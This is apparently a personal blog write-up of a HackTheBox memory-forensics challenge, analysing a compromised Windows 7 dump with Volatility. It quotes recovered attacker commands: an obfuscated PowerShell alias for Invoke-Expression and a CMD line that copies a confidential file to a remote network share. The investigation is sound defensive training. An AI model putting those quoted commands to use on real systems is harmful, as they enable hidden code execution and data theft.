Recollection a HTB Writeup

July 26, 2026 - 5 mins read

This writeup documents my analysis of the Recollection sherlock on HackTheBox. In this challenge we are given a memory dump of a machine suspected to be compromised. Let’s analyze it…

What is the Operating System of the machine?

Utilizing Volatility3 for working with the memory dump, we can use windows.info to get the answer.

Running python3 vol.py -f '/recollection.bin' windows.info we can tell from the buildLab value that the memory image was taken from a Windows 7 machine.

When was the memory dump created?

From the above image we can tell that the system time at the time of the dump was 2022-12-19 16:07:30.

After the attacker gained access to the machine, the attacker copied an obfuscated PowerShell command to the clipboard. What was the command?

Unfortunately, for the clipboard content we have to use Volatility2 instead of 3, as it does not (yet) have the clipboard plugin.

./volatility2 -f '/recollection/recollection.bin' --profile=Win7SP1x64 clipboard

As we can see from the screenshot, the attacker copied the following command: (gv ‘MDR’).naMe[3,11,2]-joIN’’

The attacker copied the obfuscated command to use it as an alias for a PowerShell cmdlet. What is the cmdlet name?

Running the obfuscated command in PowerShell, we can see that it resolves to iex, which is an alias for Invoke-Expression.

A CMD command was executed to attempt to exfiltrate a file. What is the full command line?

Using the Volatility2 consoles plugin, we can display a history of CMD and PowerShell commands executed on the machine. One command stands out, as it attempts to exfiltrate a file to a network share: type C:\Users\Public\Secret\Confidential.txt > \192.168.0.171\pulice\pass.txt

Following the above command, now tell us if the file was exfiltrated successfully?

From the previous answer we can tell the attacker’s exfiltration attempt failed.

The attacker tried to create a readme file. What was the full path of the file?

Among the same set of executed commands, one was used to create a readme file: C:\Users\Public\Office\readme.txt.

What was the Host Name of the machine?

In one of the executed commands we can see the attacker ran the following command:

PS C:\Users\user> net users
User accounts for \\USER-PC
---
Administrator            Guest                    user

The command completed successfully.

Giving us the answer: USER-PC

How many user accounts were on the machine?

From the previous answer we can tell there are 3 accounts on the machine.

In the “\Device\HarddiskVolume2\Users\user\AppData\Local\Microsoft\Edge” folder there were some sub-folders where there was a file named passwords.txt. What was the full file location/path?

We can simply scan all files in memory using the filescan plugin and grep for the passwords text file, giving us the answer.

A malicious executable file was executed via command. The executable’s file name was the hash value of itself. What was the hash value?

Returning to the Volatility2 consoles plugin, we find an executable whose name is a hash value that was executed:

.\b0ad704122d9cffddd57ec92991a1e99fc1ac02d5b4d8fd31720978c02635cb1.exe

Following the previous question, what is the Imphash of the malicious file you found above?

Searching the file hash on VirusTotal, we get the Imphash: d3b592cd9481e4f053b5362e22d61595

What was the local IP address of the machine?

Running the Volatility2 netscan plugin, I noticed that a lot of processes were listening on the local IP 192.168.0.104.

There were multiple PowerShell processes, where one process was a child process. Which process was its parent process?

Running pstree, I noticed that only a single PowerShell process had cmd.exe as its parent.

PID	PPID	ImageFileName	Offset(V)	Threads	Handles	SessionId	Wow64	CreateTime	ExitTime	Audit	Cmd	Path
* 4052	2032	cmd.exe	0xfa8003cbc060	1	23	1	False	2022-12-19 15:40:08.000000 UTC	N/A	\Device\HarddiskVolume2\Windows\System32\cmd.exe	"C:\Windows\system32\cmd.exe" 	C:\Windows\system32\cmd.exe
** 3532	4052	powershell.exe	0xfa8005abbb00	5	606	1	False	2022-12-19 15:44:44.000000 UTC	N/A	\Device\HarddiskVolume2\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	powershell	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Using strings along with a simple email regex piped through grep, I managed to pull the email address:

strings '/recollection/recollection.bin' | grep -ioE '[a-zA-Z0-9._]+@.*?\.com'

Although I could have refined the regex a bit to remove a lot of false positives, it’s good enough here.

Using MS Edge browser, the victim searched about a SIEM solution. What is the SIEM solution’s name?

Searching for the Edge browser History file, which is a SQLite database file that contains information such as downloads, visited URLs, etc.

After we get the physical offset from filescan, we can dump the file using the dumpfile plugin.

We can open this file in a SQLite DB viewer, but I’ll skip that and just print its contents. Since Microsoft Edge was used, that means Bing was used to carry out the search — the URL format Bing uses is bing.com/search?q=query, so we can just cat the file and grep for “bing.com/search”, giving us the searched terms.

Giving us the answer: wazuh

The victim user downloaded an exe file. The file’s name was mimicking a legitimate binary from Microsoft with a typo (i.e. legitimate binary is powershell.exe and the attacker named the malware powershall.exe). Tell us the file name with the file extension?

Running a filescan and grepping for “Downloads”, I noticed an exe with a typo: csrsss.exe, which is the answer here.

That was the last question, marking the end of this sherlock. Hope you have a nice day.